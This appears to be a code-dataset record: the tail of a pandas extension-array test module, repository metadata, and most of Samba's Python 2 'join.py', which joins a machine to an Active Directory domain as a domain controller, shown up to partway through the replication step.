"sum", "prod"]) def test_reductions_2d_axis1(self, data, method): arr2d = data.reshape(1, -1) try: result = getattr(arr2d, method)(axis=1) except Exception as err: try: getattr(data, method)() except Exception as err2: assert type(err) == type(err2) return else: raise AssertionError("Both reductions should raise or neither") assert result.shape == (1,) expected_scalar = getattr(data, method)() res = result[0] assert is_matching_na(res, expected_scalar) or res == expected_scalar class NDArrayBacked2DTests(Dim2CompatTests): def test_copy_order(self, data): arr2d = data.repeat(2).reshape(-1, 2) assert arr2d._ndarray.flags["C_CONTIGUOUS"] res = arr2d.copy() assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d[::2, ::2].copy() assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d.copy("F") assert not res._ndarray.flags["C_CONTIGUOUS"] assert res._ndarray.flags["F_CONTIGUOUS"] res = arr2d.copy("K") assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d.T.copy("K") assert not res._ndarray.flags["C_CONTIGUOUS"] assert res._ndarray.flags["F_CONTIGUOUS"] msg = r"order must be one of 'C', 'F', 'A', or 'K' \(got 'Q'\)" with pytest.raises(ValueError, match=msg): arr2d.copy("Q") arr_nc = arr2d[::2] assert not arr_nc._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy()._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy()._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy("C")._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy("C")._ndarray.flags["F_CONTIGUOUS"] assert not arr_nc.copy("F")._ndarray.flags["C_CONTIGUOUS"] assert arr_nc.copy("F")._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy("K")._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy("K")._ndarray.flags["F_CONTIGUOUS"]
true
true
f71f3de1a4078142288d7fd5a254aa78e0a218ff
55,143
py
Python
linux/lib/python2.7/dist-packages/samba/join.py
nmercier/linux-cross-gcc
a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
3
2015-10-31T10:39:25.000Z
2019-04-27T20:19:33.000Z
linux/lib/python2.7/dist-packages/samba/join.py
nmercier/linux-cross-gcc
a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
null
null
null
linux/lib/python2.7/dist-packages/samba/join.py
nmercier/linux-cross-gcc
a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
null
null
null
# python join code # Copyright Andrew Tridgell 2010 # Copyright Andrew Bartlett 2010 # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """Joining a domain.""" from samba.auth import system_session from samba.samdb import SamDB from samba import gensec, Ldb, drs_utils, arcfour_encrypt, string_to_byte_array import ldb, samba, sys, uuid from samba.ndr import ndr_pack from samba.dcerpc import security, drsuapi, misc, nbt, lsa, drsblobs from samba.dsdb import DS_DOMAIN_FUNCTION_2003 from samba.credentials import Credentials, DONT_USE_KERBEROS from samba.provision import secretsdb_self_join, provision, provision_fill, FILL_DRS, FILL_SUBDOMAIN from samba.provision.common import setup_path from samba.schema import Schema from samba import descriptor from samba.net import Net from samba.provision.sambadns import setup_bind9_dns from samba import read_and_sub_file from base64 import b64encode import logging import talloc import random import time # this makes debugging easier talloc.enable_null_tracking() class DCJoinException(Exception): def __init__(self, msg): super(DCJoinException, self).__init__("Can't join, error: %s" % msg) class dc_join(object): """Perform a DC join.""" def __init__(ctx, logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): ctx.logger = logger ctx.creds = creds ctx.lp = lp ctx.site = site ctx.netbios_name = netbios_name ctx.targetdir = targetdir ctx.use_ntvfs = use_ntvfs ctx.promote_existing = promote_existing ctx.promote_from_dn = None ctx.nc_list = [] ctx.full_nc_list = [] ctx.creds.set_gensec_features(creds.get_gensec_features() | gensec.FEATURE_SEAL) ctx.net = Net(creds=ctx.creds, lp=ctx.lp) if server is not None: ctx.server = server else: ctx.logger.info("Finding a writeable DC for domain '%s'" % domain) ctx.server = ctx.find_dc(domain) ctx.logger.info("Found DC %s" % ctx.server) ctx.samdb = SamDB(url="ldap://%s" % ctx.server, session_info=system_session(), credentials=ctx.creds, lp=ctx.lp) try: ctx.samdb.search(scope=ldb.SCOPE_ONELEVEL, attrs=["dn"]) except ldb.LdbError, (enum, estr): raise DCJoinException(estr) ctx.myname = netbios_name ctx.samname = "%s$" % ctx.myname ctx.base_dn = str(ctx.samdb.get_default_basedn()) ctx.root_dn = str(ctx.samdb.get_root_basedn()) ctx.schema_dn = str(ctx.samdb.get_schema_basedn()) ctx.config_dn = str(ctx.samdb.get_config_basedn()) ctx.domsid = security.dom_sid(ctx.samdb.get_domain_sid()) ctx.forestsid = ctx.domsid ctx.domain_name = ctx.get_domain_name() ctx.forest_domain_name = ctx.get_forest_domain_name() ctx.invocation_id = misc.GUID(str(uuid.uuid4())) ctx.dc_ntds_dn = ctx.samdb.get_dsServiceName() ctx.dc_dnsHostName = ctx.get_dnsHostName() ctx.behavior_version = ctx.get_behavior_version() if machinepass is not None: ctx.acct_pass = machinepass else: ctx.acct_pass = samba.generate_random_password(32, 40) # work out the DNs of all the objects we will be adding ctx.server_dn = "CN=%s,CN=Servers,CN=%s,CN=Sites,%s" % (ctx.myname, ctx.site, ctx.config_dn) ctx.ntds_dn = "CN=NTDS Settings,%s" % ctx.server_dn topology_base = "CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,%s" % ctx.base_dn if ctx.dn_exists(topology_base): ctx.topology_dn = "CN=%s,%s" % (ctx.myname, topology_base) else: ctx.topology_dn = None ctx.dnsdomain = ctx.samdb.domain_dns_name() ctx.dnsforest = ctx.samdb.forest_dns_name() ctx.domaindns_zone = 'DC=DomainDnsZones,%s' % ctx.base_dn ctx.forestdns_zone = 'DC=ForestDnsZones,%s' % ctx.root_dn res_domaindns = ctx.samdb.search(scope=ldb.SCOPE_ONELEVEL, attrs=[], base=ctx.samdb.get_partitions_dn(), expression="(&(objectClass=crossRef)(ncName=%s))" % ctx.domaindns_zone) if dns_backend is None: ctx.dns_backend = "NONE" else: if len(res_domaindns) == 0: ctx.dns_backend = "NONE" print "NO DNS zone information found in source domain, not replicating DNS" else: ctx.dns_backend = dns_backend ctx.dnshostname = "%s.%s" % (ctx.myname.lower(), ctx.dnsdomain) ctx.realm = ctx.dnsdomain ctx.acct_dn = "CN=%s,OU=Domain Controllers,%s" % (ctx.myname, ctx.base_dn) ctx.tmp_samdb = None ctx.SPNs = [ "HOST/%s" % ctx.myname, "HOST/%s" % ctx.dnshostname, "GC/%s/%s" % (ctx.dnshostname, ctx.dnsforest) ] # these elements are optional ctx.never_reveal_sid = None ctx.reveal_sid = None ctx.connection_dn = None ctx.RODC = False ctx.krbtgt_dn = None ctx.drsuapi = None ctx.managedby = None ctx.subdomain = False ctx.adminpass = None def del_noerror(ctx, dn, recursive=False): if recursive: try: res = ctx.samdb.search(base=dn, scope=ldb.SCOPE_ONELEVEL, attrs=["dn"]) except Exception: return for r in res: ctx.del_noerror(r.dn, recursive=True) try: ctx.samdb.delete(dn) print "Deleted %s" % dn except Exception: pass def cleanup_old_join(ctx): """Remove any DNs from a previous join.""" try: # find the krbtgt link print("checking sAMAccountName") if ctx.subdomain: res = None else: res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='sAMAccountName=%s' % ldb.binary_encode(ctx.samname), attrs=["msDS-krbTgtLink"]) if res: ctx.del_noerror(res[0].dn, recursive=True) res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='(&(sAMAccountName=%s)(servicePrincipalName=%s))' % (ldb.binary_encode("dns-%s" % ctx.myname), ldb.binary_encode("dns/%s" % ctx.dnshostname)), attrs=[]) if res: ctx.del_noerror(res[0].dn, recursive=True) res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='(sAMAccountName=%s)' % ldb.binary_encode("dns-%s" % ctx.myname), attrs=[]) if res: raise RuntimeError("Not removing account %s which looks like a Samba DNS service account but does not have servicePrincipalName=%s" % (ldb.binary_encode("dns-%s" % ctx.myname), ldb.binary_encode("dns/%s" % ctx.dnshostname))) if ctx.connection_dn is not None: ctx.del_noerror(ctx.connection_dn) if ctx.krbtgt_dn is not None: ctx.del_noerror(ctx.krbtgt_dn) ctx.del_noerror(ctx.ntds_dn) ctx.del_noerror(ctx.server_dn, recursive=True) if ctx.topology_dn: ctx.del_noerror(ctx.topology_dn) if ctx.partition_dn: ctx.del_noerror(ctx.partition_dn) if res: ctx.new_krbtgt_dn = res[0]["msDS-Krbtgtlink"][0] ctx.del_noerror(ctx.new_krbtgt_dn) if ctx.subdomain: binding_options = "sign" lsaconn = lsa.lsarpc("ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options), ctx.lp, ctx.creds) objectAttr = lsa.ObjectAttribute() objectAttr.sec_qos = lsa.QosInfo() pol_handle = lsaconn.OpenPolicy2(''.decode('utf-8'), objectAttr, security.SEC_FLAG_MAXIMUM_ALLOWED) name = lsa.String() name.string = ctx.realm info = lsaconn.QueryTrustedDomainInfoByName(pol_handle, name, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) lsaconn.DeleteTrustedDomain(pol_handle, info.info_ex.sid) name = lsa.String() name.string = ctx.forest_domain_name info = lsaconn.QueryTrustedDomainInfoByName(pol_handle, name, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) lsaconn.DeleteTrustedDomain(pol_handle, info.info_ex.sid) except Exception: pass def promote_possible(ctx): """confirm that the account is just a bare NT4 BDC or a member server, so can be safely promoted""" if ctx.subdomain: # This shouldn't happen raise Exception("Can not promote into a subdomain") res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='sAMAccountName=%s' % ldb.binary_encode(ctx.samname), attrs=["msDS-krbTgtLink", "userAccountControl", "serverReferenceBL", "rIDSetReferences"]) if len(res) == 0: raise Exception("Could not find domain member account '%s' to promote to a DC, use 'samba-tool domain join' instead'" % ctx.samname) if "msDS-krbTgtLink" in res[0] or "serverReferenceBL" in res[0] or "rIDSetReferences" in res[0]: raise Exception("Account '%s' appears to be an active DC, use 'samba-tool domain join' if you must re-create this account" % ctx.samname) if (int(res[0]["userAccountControl"][0]) & (samba.dsdb.UF_WORKSTATION_TRUST_ACCOUNT|samba.dsdb.UF_SERVER_TRUST_ACCOUNT) == 0): raise Exception("Account %s is not a domain member or a bare NT4 BDC, use 'samba-tool domain join' instead'" % ctx.samname) ctx.promote_from_dn = res[0].dn def find_dc(ctx, domain): """find a writeable DC for the given domain""" try: ctx.cldap_ret = ctx.net.finddc(domain=domain, flags=nbt.NBT_SERVER_LDAP | nbt.NBT_SERVER_DS | nbt.NBT_SERVER_WRITABLE) except Exception: raise Exception("Failed to find a writeable DC for domain '%s'" % domain) if ctx.cldap_ret.client_site is not None and ctx.cldap_ret.client_site != "": ctx.site = ctx.cldap_ret.client_site return ctx.cldap_ret.pdc_dns_name def get_behavior_version(ctx): res = ctx.samdb.search(base=ctx.base_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-Behavior-Version"]) if "msDS-Behavior-Version" in res[0]: return int(res[0]["msDS-Behavior-Version"][0]) else: return samba.dsdb.DS_DOMAIN_FUNCTION_2000 def get_dnsHostName(ctx): res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=["dnsHostName"]) return res[0]["dnsHostName"][0] def get_domain_name(ctx): '''get netbios name of the domain from the partitions record''' partitions_dn = ctx.samdb.get_partitions_dn() res = ctx.samdb.search(base=partitions_dn, scope=ldb.SCOPE_ONELEVEL, attrs=["nETBIOSName"], expression='ncName=%s' % ctx.samdb.get_default_basedn()) return res[0]["nETBIOSName"][0] def get_forest_domain_name(ctx): '''get netbios name of the domain from the partitions record''' partitions_dn = ctx.samdb.get_partitions_dn() res = ctx.samdb.search(base=partitions_dn, scope=ldb.SCOPE_ONELEVEL, attrs=["nETBIOSName"], expression='ncName=%s' % ctx.samdb.get_root_basedn()) return res[0]["nETBIOSName"][0] def get_parent_partition_dn(ctx): '''get the parent domain partition DN from parent DNS name''' res = ctx.samdb.search(base=ctx.config_dn, attrs=[], expression='(&(objectclass=crossRef)(dnsRoot=%s)(systemFlags:%s:=%u))' % (ctx.parent_dnsdomain, ldb.OID_COMPARATOR_AND, samba.dsdb.SYSTEM_FLAG_CR_NTDS_DOMAIN)) return str(res[0].dn) def get_naming_master(ctx): '''get the parent domain partition DN from parent DNS name''' res = ctx.samdb.search(base='CN=Partitions,%s' % ctx.config_dn, attrs=['fSMORoleOwner'], scope=ldb.SCOPE_BASE, controls=["extended_dn:1:1"]) if not 'fSMORoleOwner' in res[0]: raise DCJoinException("Can't find naming master on partition DN %s in %s" % (ctx.partition_dn, ctx.samdb.url)) try: master_guid = str(misc.GUID(ldb.Dn(ctx.samdb, res[0]['fSMORoleOwner'][0]).get_extended_component('GUID'))) except KeyError: raise DCJoinException("Can't find GUID in naming master on partition DN %s" % res[0]['fSMORoleOwner'][0]) master_host = '%s._msdcs.%s' % (master_guid, ctx.dnsforest) return master_host def get_mysid(ctx): '''get the SID of the connected user. Only works with w2k8 and later, so only used for RODC join''' res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=["tokenGroups"]) binsid = res[0]["tokenGroups"][0] return ctx.samdb.schema_format_value("objectSID", binsid) def dn_exists(ctx, dn): '''check if a DN exists''' try: res = ctx.samdb.search(base=dn, scope=ldb.SCOPE_BASE, attrs=[]) except ldb.LdbError, (enum, estr): if enum == ldb.ERR_NO_SUCH_OBJECT: return False raise return True def add_krbtgt_account(ctx): '''RODCs need a special krbtgt account''' print "Adding %s" % ctx.krbtgt_dn rec = { "dn" : ctx.krbtgt_dn, "objectclass" : "user", "useraccountcontrol" : str(samba.dsdb.UF_NORMAL_ACCOUNT | samba.dsdb.UF_ACCOUNTDISABLE), "showinadvancedviewonly" : "TRUE", "description" : "krbtgt for %s" % ctx.samname} ctx.samdb.add(rec, ["rodc_join:1:1"]) # now we need to search for the samAccountName attribute on the krbtgt DN, # as this will have been magically set to the krbtgt number res = ctx.samdb.search(base=ctx.krbtgt_dn, scope=ldb.SCOPE_BASE, attrs=["samAccountName"]) ctx.krbtgt_name = res[0]["samAccountName"][0] print "Got krbtgt_name=%s" % ctx.krbtgt_name m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) m["msDS-krbTgtLink"] = ldb.MessageElement(ctx.krbtgt_dn, ldb.FLAG_MOD_REPLACE, "msDS-krbTgtLink") ctx.samdb.modify(m) ctx.new_krbtgt_dn = "CN=%s,CN=Users,%s" % (ctx.krbtgt_name, ctx.base_dn) print "Renaming %s to %s" % (ctx.krbtgt_dn, ctx.new_krbtgt_dn) ctx.samdb.rename(ctx.krbtgt_dn, ctx.new_krbtgt_dn) def drsuapi_connect(ctx): '''make a DRSUAPI connection to the naming master''' binding_options = "seal" if int(ctx.lp.get("log level")) >= 4: binding_options += ",print" binding_string = "ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options) ctx.drsuapi = drsuapi.drsuapi(binding_string, ctx.lp, ctx.creds) (ctx.drsuapi_handle, ctx.bind_supported_extensions) = drs_utils.drs_DsBind(ctx.drsuapi) def create_tmp_samdb(ctx): '''create a temporary samdb object for schema queries''' ctx.tmp_schema = Schema(ctx.domsid, schemadn=ctx.schema_dn) ctx.tmp_samdb = SamDB(session_info=system_session(), url=None, auto_connect=False, credentials=ctx.creds, lp=ctx.lp, global_schema=False, am_rodc=False) ctx.tmp_samdb.set_schema(ctx.tmp_schema) def build_DsReplicaAttribute(ctx, attrname, attrvalue): '''build a DsReplicaAttributeCtr object''' r = drsuapi.DsReplicaAttribute() r.attid = ctx.tmp_samdb.get_attid_from_lDAPDisplayName(attrname) r.value_ctr = 1 def DsAddEntry(ctx, recs): '''add a record via the DRSUAPI DsAddEntry call''' if ctx.drsuapi is None: ctx.drsuapi_connect() if ctx.tmp_samdb is None: ctx.create_tmp_samdb() objects = [] for rec in recs: id = drsuapi.DsReplicaObjectIdentifier() id.dn = rec['dn'] attrs = [] for a in rec: if a == 'dn': continue if not isinstance(rec[a], list): v = [rec[a]] else: v = rec[a] rattr = ctx.tmp_samdb.dsdb_DsReplicaAttribute(ctx.tmp_samdb, a, v) attrs.append(rattr) attribute_ctr = drsuapi.DsReplicaAttributeCtr() attribute_ctr.num_attributes = len(attrs) attribute_ctr.attributes = attrs object = drsuapi.DsReplicaObject() object.identifier = id object.attribute_ctr = attribute_ctr list_object = drsuapi.DsReplicaObjectListItem() list_object.object = object objects.append(list_object) req2 = drsuapi.DsAddEntryRequest2() req2.first_object = objects[0] prev = req2.first_object for o in objects[1:]: prev.next_object = o prev = o (level, ctr) = ctx.drsuapi.DsAddEntry(ctx.drsuapi_handle, 2, req2) if level == 2: if ctr.dir_err != drsuapi.DRSUAPI_DIRERR_OK: print("DsAddEntry failed with dir_err %u" % ctr.dir_err) raise RuntimeError("DsAddEntry failed") if ctr.extended_err != (0, 'WERR_OK'): print("DsAddEntry failed with status %s info %s" % (ctr.extended_err)) raise RuntimeError("DsAddEntry failed") if level == 3: if ctr.err_ver != 1: raise RuntimeError("expected err_ver 1, got %u" % ctr.err_ver) if ctr.err_data.status != (0, 'WERR_OK'): print("DsAddEntry failed with status %s info %s" % (ctr.err_data.status, ctr.err_data.info.extended_err)) raise RuntimeError("DsAddEntry failed") if ctr.err_data.dir_err != drsuapi.DRSUAPI_DIRERR_OK: print("DsAddEntry failed with dir_err %u" % ctr.err_data.dir_err) raise RuntimeError("DsAddEntry failed") return ctr.objects def join_ntdsdsa_obj(ctx): '''return the ntdsdsa object to add''' print "Adding %s" % ctx.ntds_dn rec = { "dn" : ctx.ntds_dn, "objectclass" : "nTDSDSA", "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_DISALLOW_MOVE_ON_DELETE), "dMDLocation" : ctx.schema_dn} nc_list = [ ctx.base_dn, ctx.config_dn, ctx.schema_dn ] if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-Behavior-Version"] = str(samba.dsdb.DS_DOMAIN_FUNCTION_2008_R2) if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-HasDomainNCs"] = ctx.base_dn if ctx.RODC: rec["objectCategory"] = "CN=NTDS-DSA-RO,%s" % ctx.schema_dn rec["msDS-HasFullReplicaNCs"] = ctx.full_nc_list rec["options"] = "37" else: rec["objectCategory"] = "CN=NTDS-DSA,%s" % ctx.schema_dn rec["HasMasterNCs"] = [] for nc in nc_list: if nc in ctx.full_nc_list: rec["HasMasterNCs"].append(nc) if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-HasMasterNCs"] = ctx.full_nc_list rec["options"] = "1" rec["invocationId"] = ndr_pack(ctx.invocation_id) return rec def join_add_ntdsdsa(ctx): '''add the ntdsdsa object''' rec = ctx.join_ntdsdsa_obj() if ctx.RODC: ctx.samdb.add(rec, ["rodc_join:1:1"]) else: ctx.DsAddEntry([rec]) # find the GUID of our NTDS DN res = ctx.samdb.search(base=ctx.ntds_dn, scope=ldb.SCOPE_BASE, attrs=["objectGUID"]) ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value("objectGUID", res[0]["objectGUID"][0])) def join_add_objects(ctx): '''add the various objects needed for the join''' if ctx.acct_dn: print "Adding %s" % ctx.acct_dn rec = { "dn" : ctx.acct_dn, "objectClass": "computer", "displayname": ctx.samname, "samaccountname" : ctx.samname, "userAccountControl" : str(ctx.userAccountControl | samba.dsdb.UF_ACCOUNTDISABLE), "dnshostname" : ctx.dnshostname} if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2008: rec['msDS-SupportedEncryptionTypes'] = str(samba.dsdb.ENC_ALL_TYPES) elif ctx.promote_existing: rec['msDS-SupportedEncryptionTypes'] = [] if ctx.managedby: rec["managedby"] = ctx.managedby elif ctx.promote_existing: rec["managedby"] = [] if ctx.never_reveal_sid: rec["msDS-NeverRevealGroup"] = ctx.never_reveal_sid elif ctx.promote_existing: rec["msDS-NeverRevealGroup"] = [] if ctx.reveal_sid: rec["msDS-RevealOnDemandGroup"] = ctx.reveal_sid elif ctx.promote_existing: rec["msDS-RevealOnDemandGroup"] = [] if ctx.promote_existing: if ctx.promote_from_dn != ctx.acct_dn: ctx.samdb.rename(ctx.promote_from_dn, ctx.acct_dn) ctx.samdb.modify(ldb.Message.from_dict(ctx.samdb, rec, ldb.FLAG_MOD_REPLACE)) else: ctx.samdb.add(rec) if ctx.krbtgt_dn: ctx.add_krbtgt_account() print "Adding %s" % ctx.server_dn rec = { "dn": ctx.server_dn, "objectclass" : "server", # windows uses 50000000 decimal for systemFlags. A windows hex/decimal mixup bug? "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_CONFIG_ALLOW_RENAME | samba.dsdb.SYSTEM_FLAG_CONFIG_ALLOW_LIMITED_MOVE | samba.dsdb.SYSTEM_FLAG_DISALLOW_MOVE_ON_DELETE), # windows seems to add the dnsHostName later "dnsHostName" : ctx.dnshostname} if ctx.acct_dn: rec["serverReference"] = ctx.acct_dn ctx.samdb.add(rec) if ctx.subdomain: # the rest is done after replication ctx.ntds_guid = None return ctx.join_add_ntdsdsa() if ctx.connection_dn is not None: print "Adding %s" % ctx.connection_dn rec = { "dn" : ctx.connection_dn, "objectclass" : "nTDSConnection", "enabledconnection" : "TRUE", "options" : "65", "fromServer" : ctx.dc_ntds_dn} ctx.samdb.add(rec) if ctx.acct_dn: print "Adding SPNs to %s" % ctx.acct_dn m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) for i in range(len(ctx.SPNs)): ctx.SPNs[i] = ctx.SPNs[i].replace("$NTDSGUID", str(ctx.ntds_guid)) m["servicePrincipalName"] = ldb.MessageElement(ctx.SPNs, ldb.FLAG_MOD_REPLACE, "servicePrincipalName") ctx.samdb.modify(m) # The account password set operation should normally be done over # LDAP. Windows 2000 DCs however allow this only with SSL # connections which are hard to set up and otherwise refuse with # ERR_UNWILLING_TO_PERFORM. In this case we fall back to libnet # over SAMR. print "Setting account password for %s" % ctx.samname try: ctx.samdb.setpassword("(&(objectClass=user)(sAMAccountName=%s))" % ldb.binary_encode(ctx.samname), ctx.acct_pass, force_change_at_next_login=False, username=ctx.samname) except ldb.LdbError, (num, _): if num != ldb.ERR_UNWILLING_TO_PERFORM: pass ctx.net.set_password(account_name=ctx.samname, domain_name=ctx.domain_name, newpassword=ctx.acct_pass) res = ctx.samdb.search(base=ctx.acct_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-KeyVersionNumber"]) if "msDS-KeyVersionNumber" in res[0]: ctx.key_version_number = int(res[0]["msDS-KeyVersionNumber"][0]) else: ctx.key_version_number = None print("Enabling account") m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) m["userAccountControl"] = ldb.MessageElement(str(ctx.userAccountControl), ldb.FLAG_MOD_REPLACE, "userAccountControl") ctx.samdb.modify(m) if ctx.dns_backend.startswith("BIND9_"): ctx.dnspass = samba.generate_random_password(128, 255) recs = ctx.samdb.parse_ldif(read_and_sub_file(setup_path("provision_dns_add_samba.ldif"), {"DNSDOMAIN": ctx.dnsdomain, "DOMAINDN": ctx.base_dn, "HOSTNAME" : ctx.myname, "DNSPASS_B64": b64encode(ctx.dnspass), "DNSNAME" : ctx.dnshostname})) for changetype, msg in recs: assert changetype == ldb.CHANGETYPE_NONE dns_acct_dn = msg["dn"] print "Adding DNS account %s with dns/ SPN" % msg["dn"] # Remove dns password (we will set it as a modify, as we can't do clearTextPassword over LDAP) del msg["clearTextPassword"] # Remove isCriticalSystemObject for similar reasons, it cannot be set over LDAP del msg["isCriticalSystemObject"] # Disable account until password is set msg["userAccountControl"] = str(samba.dsdb.UF_NORMAL_ACCOUNT | samba.dsdb.UF_ACCOUNTDISABLE) try: ctx.samdb.add(msg) except ldb.LdbError, (num, _): if num != ldb.ERR_ENTRY_ALREADY_EXISTS: raise # The account password set operation should normally be done over # LDAP. Windows 2000 DCs however allow this only with SSL # connections which are hard to set up and otherwise refuse with # ERR_UNWILLING_TO_PERFORM. In this case we fall back to libnet # over SAMR. print "Setting account password for dns-%s" % ctx.myname try: ctx.samdb.setpassword("(&(objectClass=user)(samAccountName=dns-%s))" % ldb.binary_encode(ctx.myname), ctx.dnspass, force_change_at_next_login=False, username=ctx.samname) except ldb.LdbError, (num, _): if num != ldb.ERR_UNWILLING_TO_PERFORM: raise ctx.net.set_password(account_name="dns-%s" % ctx.myname, domain_name=ctx.domain_name, newpassword=ctx.dnspass) res = ctx.samdb.search(base=dns_acct_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-KeyVersionNumber"]) if "msDS-KeyVersionNumber" in res[0]: ctx.dns_key_version_number = int(res[0]["msDS-KeyVersionNumber"][0]) else: ctx.dns_key_version_number = None def join_add_objects2(ctx): """add the various objects needed for the join, for subdomains post replication""" print "Adding %s" % ctx.partition_dn name_map = {'SubdomainAdmins': "%s-%s" % (str(ctx.domsid), security.DOMAIN_RID_ADMINS)} sd_binary = descriptor.get_paritions_crossref_subdomain_descriptor(ctx.forestsid, name_map=name_map) rec = { "dn" : ctx.partition_dn, "objectclass" : "crossRef", "objectCategory" : "CN=Cross-Ref,%s" % ctx.schema_dn, "nCName" : ctx.base_dn, "nETBIOSName" : ctx.domain_name, "dnsRoot": ctx.dnsdomain, "trustParent" : ctx.parent_partition_dn, "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_CR_NTDS_NC|samba.dsdb.SYSTEM_FLAG_CR_NTDS_DOMAIN), "ntSecurityDescriptor" : sd_binary, } if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-Behavior-Version"] = str(ctx.behavior_version) rec2 = ctx.join_ntdsdsa_obj() objects = ctx.DsAddEntry([rec, rec2]) if len(objects) != 2: raise DCJoinException("Expected 2 objects from DsAddEntry") ctx.ntds_guid = objects[1].guid print("Replicating partition DN") ctx.repl.replicate(ctx.partition_dn, misc.GUID("00000000-0000-0000-0000-000000000000"), ctx.ntds_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_OBJ, replica_flags=drsuapi.DRSUAPI_DRS_WRIT_REP) print("Replicating NTDS DN") ctx.repl.replicate(ctx.ntds_dn, misc.GUID("00000000-0000-0000-0000-000000000000"), ctx.ntds_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_OBJ, replica_flags=drsuapi.DRSUAPI_DRS_WRIT_REP) def join_provision(ctx): """Provision the local SAM.""" print "Calling bare provision" smbconf = ctx.lp.configfile presult = provision(ctx.logger, system_session(), smbconf=smbconf, targetdir=ctx.targetdir, samdb_fill=FILL_DRS, realm=ctx.realm, rootdn=ctx.root_dn, domaindn=ctx.base_dn, schemadn=ctx.schema_dn, configdn=ctx.config_dn, serverdn=ctx.server_dn, domain=ctx.domain_name, hostname=ctx.myname, domainsid=ctx.domsid, machinepass=ctx.acct_pass, serverrole="active directory domain controller", sitename=ctx.site, lp=ctx.lp, ntdsguid=ctx.ntds_guid, use_ntvfs=ctx.use_ntvfs, dns_backend=ctx.dns_backend) print "Provision OK for domain DN %s" % presult.domaindn ctx.local_samdb = presult.samdb ctx.lp = presult.lp ctx.paths = presult.paths ctx.names = presult.names # Fix up the forestsid, it may be different if we are joining as a subdomain ctx.names.forestsid = ctx.forestsid def join_provision_own_domain(ctx): """Provision the local SAM.""" # we now operate exclusively on the local database, which # we need to reopen in order to get the newly created schema print("Reconnecting to local samdb") ctx.samdb = SamDB(url=ctx.local_samdb.url, session_info=system_session(), lp=ctx.local_samdb.lp, global_schema=False) ctx.samdb.set_invocation_id(str(ctx.invocation_id)) ctx.local_samdb = ctx.samdb ctx.logger.info("Finding domain GUID from ncName") res = ctx.local_samdb.search(base=ctx.partition_dn, scope=ldb.SCOPE_BASE, attrs=['ncName'], controls=["extended_dn:1:1", "reveal_internals:0"]) if 'nCName' not in res[0]: raise DCJoinException("Can't find naming context on partition DN %s in %s" % (ctx.partition_dn, ctx.samdb.url)) try: ctx.names.domainguid = str(misc.GUID(ldb.Dn(ctx.samdb, res[0]['ncName'][0]).get_extended_component('GUID'))) except KeyError: raise DCJoinException("Can't find GUID in naming master on partition DN %s" % res[0]['ncName'][0]) ctx.logger.info("Got domain GUID %s" % ctx.names.domainguid) ctx.logger.info("Calling own domain provision") secrets_ldb = Ldb(ctx.paths.secrets, session_info=system_session(), lp=ctx.lp) presult = provision_fill(ctx.local_samdb, secrets_ldb, ctx.logger, ctx.names, ctx.paths, dom_for_fun_level=DS_DOMAIN_FUNCTION_2003, targetdir=ctx.targetdir, samdb_fill=FILL_SUBDOMAIN, machinepass=ctx.acct_pass, serverrole="active directory domain controller", lp=ctx.lp, hostip=ctx.names.hostip, hostip6=ctx.names.hostip6, dns_backend=ctx.dns_backend, adminpass=ctx.adminpass) print("Provision OK for domain %s" % ctx.names.dnsdomain) def join_replicate(ctx): """Replicate the SAM.""" print "Starting replication" ctx.local_samdb.transaction_start() try: source_dsa_invocation_id = misc.GUID(ctx.samdb.get_invocation_id()) if ctx.ntds_guid is None: print("Using DS_BIND_GUID_W2K3") 